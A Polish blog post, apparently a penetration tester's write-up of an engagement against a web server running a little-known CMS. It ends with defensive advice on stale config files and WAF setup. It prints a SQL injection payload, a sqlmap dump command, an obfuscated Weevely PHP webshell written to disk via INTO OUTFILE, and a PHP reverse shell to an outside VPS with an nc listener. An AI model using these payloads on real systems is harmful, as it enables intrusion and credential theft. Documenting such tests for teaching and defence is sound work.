Penetracja serwera webowego przy pomocy bazy MySQL oraz weevely.

Najczęściej słabym ogniwem systemu zabezpieczeń okazuje się człowiek i jego złe nawyki. Tak też było podczas jednego z moich ostatnich zleceń. Jak zapewne zauważyliście moje posty to głównie bug tracking niż exploitowanie. Tym razem okazało się, iż sytuacja nie wymaga większych umiejętności hakerskich a wiedzy jak funkcjonują poszczególne elementy systemu.

 

slide_2Poproszono mnie o zweryfikowanie możliwych scenariuszy nieuprawnionego dostępu do strony/serwera www. Dosyć niechętnie zgodziłem się na to, ponieważ nie lubię bawić się w exploitacje webaplikacji. Po wstępnej analizie strony okazało się, że jest tam mało znany CMS. Przyglądając mu się uważnie zauważyłem błąd typu SQL Injection.

 

 

 

 

 

 

Początkowo myślałem, iż sytuacja będzie dosyć jasna i klarowna. Byłem przekonany iż schemat sieciowy owego przypadku przedstawia się następująco:

Rysunek1

Sprawdzanie zacząłem od działu z newsami i artykułami. O ile w dziale z newsami nie znalazłem żadnego błędu.

1To już wykonanie prostego testu na obecność sqli w dziale z artykułami dało wynik pozytywny.

2Komunikat który się nam wyświetlił jasno informuje o istnieniu błędu. Po szybkiej analizie komunikatu udało mi się mniej więcej ustalić strukturę bazy danych.

 

Na podstawie informacji z komunikatu błędu ułożyłem zapytanie sql, które postanowiłem ręcznie wstrzyknąć do kodu strony.

null union select 1,concat(user_name,0x3a,0x3a,0x3a,user_password),3,4,5 from genu_users--

 

3Próba ręcznego wstrzykiwania zapytania zakończyło się komunikatem przeglądarki o treści „Połączenie zostało zrestartowane”. Zaczęło mnie to zastanawiać, ale żeby potwierdzić swoją teorie i wykluczyć możliwość błędnego sformułowania postanowiłem użyć narzędzia do automatycznego wstrzykiwania zapytam sql czyli sqlmap’a, który jest domyślnie zainstalowany w dystrybucji KaliLinux.4Użycie sqlmap’a upewniło mnie w przekonaniu, iż owa webaplikacja jest chroniona poprzez jakiegoś rodzaju WAF/IPS (Web Application Firewall/Intrusion Protect System). Jednak znając przypadki w których pomimo funkcjonowania takich systemów dochodziło do włamania, nie poddawałem się i wykonywałem kolejne próby za pomocą sqlmapa’a.

5

 

I kolejne…

67Sqlmap stwierdził iż zmieni sposób exploitacji.

8I był to przełomowy krok ponieważ nagle okazało się, iż parametr „article_id” jednak jest podatny i to w nim znajduje się błąd (zaskakujące nieprawdaż? ile to nowego potrafią powiedzieć skrypty ;>). Jak później się okazało firewall którym chronił serwer www filtrował zapytania webowe między innymi pod kątem wystąpienia słówka „null”, które „jest charakterystyczne dla ataków SQL Injection” (cytat admina).

 

Poprawiłem swój początkowy schemat tak by zawierał informacje, które udało mi się do tej pory zebrać.

Rysunek2

Bogatszy o tą wiedzę przystąpiłem do wyciągania hasła z bazy danych. Pierwszym co musiałem zrobić to zweryfikować, która z baz danych jest bazą odpowiedzialną za treść strony.

10Po odpytaniu bazy „admin” ukazały mi się tabele zawierające przedrostek charakterystyczny dla cms (była to jego nazwa, podobnie jest z WordPresem czy Joomlą). Następnym krokiem było podanie slmap’owi odpowiednich danych takich jak miejsce gdzie znajdują się login i hasło. Ponownie odwołując się do błędu który wyświetliła nam przeglądarka podczas testu na obecność podatności i bazując na informacjach tam zawartych przygotowałem poniższe polecenie:

root@zuo:~# sqlmap -u „http://webdev.s-m-s.local/GENU-2012.3/articles/read.php?article_id=2” -D admin -T genu_users -C user_name,user_password –dump

11Po tym jak Sqlmap pobrał z bazy hash hasła, zapytał czy chcę spróbować złamać hasło. Oczywiście wcisnąłem „Y”.

12Jak widać po screenach jak do tej pory zajęło to około półtora godziny z złamaniem hasła włącznie (co tak naprawdę trwało 10 sekund ponieważ hasło było banalnie łatwe). Jednakże całość podczas wykonywania działań podczas właściwych działań zajęła dwa dni (z względu na skomplikowanie hasła).

 

Wydawało by się, że to koniec testów, ale! Nic bardziej mylnego. Postanowiłem sprawdzić jakie możliwości daje mi panel użytkownika na uprawnieniach „admina”. Oczywistym jest iż szukałem przede wszystkim możliwości uploadu plików na serwer.

13Po chwili udało mi się znaleźć upload. Aby określić gdzie ładowane są pliki podałem do uploadu plik graficzny.

1415Jak widać na screenie miejscem którym przechowywana jest grafika jest /medias/image. Dalszym co zrobiłem to weryfikacja czy możliwym jest wrzucenie na serwer pliku php, za pomocą którego uzyskamy dostęp do powłoki systemowej.

16Na takie przypadki mam przygotowane dwa pliki. Jeden jest to standardowy plik .php z webshellem a drugi specjalnie wygenerowany i obfuskowany. Podczas prób wrzucenia plików napotkałem następujące problemy. Plik shell.php zawierający typowy webshell nie przeszedł przez WAF/IPS, natomiast podczas gdy chciałem wrzucić wersje zaciemnioną, panel odpowiedział iż .php jest złym formatem.

 

Początkowo chciałem się już poddać, jednak postanowiłem sprawdzić jeszcze kilka rzeczy. Często spotykam się z faktem zapisywania starych plików konfiguracyjnych jako config.php.txt. Tak było i tym razem.

19Pytanie co to nam daje i co dalej z tym zrobić? To już kolejna część artykułu.

 

imagem_mysqlZapewne każdy zna MySQL i miał z nim do czynienia. Ale czy każdy zdaje sobie sprawę z możliwości jakie nam daje? MySQL to nie tylko baza danych a cała aplikacja bazodanowa pozwalająca wykonywać różnego rodzaje operacje na zasobach bazy danych Jak i na plikach. Więcej o możliwościach jakie daje MySQL możecie poczytać tu.

20

Znalezienie panelu nie było wcale trudne. Zgodnie z domyślnymi ustawieniami znajdował się pod aliasem /phpmyadmin.

21Dalsze działania postanowiłem prowadzić na bazie „admin” w której znajdują się tabele z wcześniej wspomnianej aplikacji. 22Po uruchomieniu modułu do wykonywania zapytań sql wpisałem wcześniej przygotowane zapytania:

-- Tworzę tabele w której umieszczę swój shellcode
CREATE TABLE test(DATA blob);
-- Dodaję shellcode do bazy danych
INSERT INTO test VALUES('<?php $ezyg="jMpeyRrPSdsb3NldW0xMSc7ZolWNobyAolnPCcuJGsuJz4nO2V2YolWwoYmFzZTY0X2RollY29kolZShwcolm"; $ugqo="olJGolM9J2NolvdW50JzskYT0kXol0NolPT0tJolRTtpZihyZXNloldCgkYSk9PolSdolrbycgJiYgolJGMoJGEpPol"; $ohtn = str_replace("rp","","strpr_rprrperpprplacrpe"); $aacd="VnX3JlolcGxhY2UoYXJyYXkoJy9bXlx3PVxzXolS8nLCcvXHMolvJyksIGFycmF5KCcnLCcrJyksIolGpvaW4oYXJyo"; $jsoc="lYolXlfc2xpYol2olUoloolJGEsJGMoJGEpolLTMpKSkpKolTtlY2hvIolCc8olLycoluJGsuolJz4nolO30="; $tkhc = $ohtn("g", "", "gbgagsge6g4g_gdecgogde"); $ivnj = $ohtn("l","","clrlelaltlel_lflulnlcltliloln"); $kxvf = $ivnj('', $tkhc($ohtn("ol", "", $ugqo.$ezyg.$aacd.$jsoc))); $kxvf(); ?>');
--Zapisuję zawartość tabeli do pliku exploit.php który znajduję się w katalogu z uprawnieniami do zapisu
SELECT * FROM test INTO OUTFILE '/var/www/html/GENU-2012.3/medias/image/exploit/php';

 

Shellcode został wygenerowany w programie Weevely dostępnym w dystrybucji KaliLinux za pomocą polecenia „weevely generate <hasło> exploit.php”. Dla ułatwienia kod shella warto sformatować tak, by podczas wczytywania zapytań był w jednej linii, wyeliminuje to ewentualne błędy w zapytaniach.

23Jak widać operacja się powiodła. Teraz należy zweryfikować czy nasz plik zapisał się bez błędów.

24Następnie połączyłem się za pomocą programu Weevely do serwera

25

 

26Jak widać uzyskałem dostęp do powłoki systemowej jako użytkownik www-data. Jest to praktyczny sposób ale nie do końca wygodny. Dodatkową sprawą, o którą nie muszę się martwić podczas „zamawianych pentestów” jest fakt iż ta metoda co wydane polecenie pozostawia ślad w logach serwera webowego. Dlatego też wykonamy jeszcze jedną czynność.

 

Czynnością tą będzie wykonanie połączenia zwrotnego do vps umieszczonego gdzieś w „Internecie”. A oto obecny schemat sieciowy:

Rysunek3Za pomocą polecenia:

php -r '$sock=fsockopen("172.16.2.11",443);exec("/bin/sh -i <&3 >&3 2>&3");'

 

28

wykonanego na atakowanej maszynie oraz polecenia:

nc -l -vvv -p 443

27utowrzyłem połączenie zwrotne do vps.s-m-s.local

29

Posumowanie:

Długo zastanawiałem się jak opisać ten przypadek. W ty miejscu chciałbym podziękować Dorocie za inspiracje i przypomnienie o MySQL’u. W powyższym przypadku nie został wykorzystany żaden poważny błąd w zabezpieczeniach a jedynie błędy w postępowaniu admina. Artykuł powstał ku przestrodze wszystkich, którzy odpowiadają za jakiekolwiek bezpieczeństwo.

 

Wnioski?

Drogi czytelniku! Wywalaj swoje stare konfigi /trzymaj je poza publicznym dostępem. Jeśli posiadasz system IDS/IPS/WAF skonfiguruj go poprawnie, a potem poproś aby ktoś zweryfikował twoje ustawienia.

 

 

3 thoughts on “Penetracja serwera webowego przy pomocy bazy MySQL oraz weevely.

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany.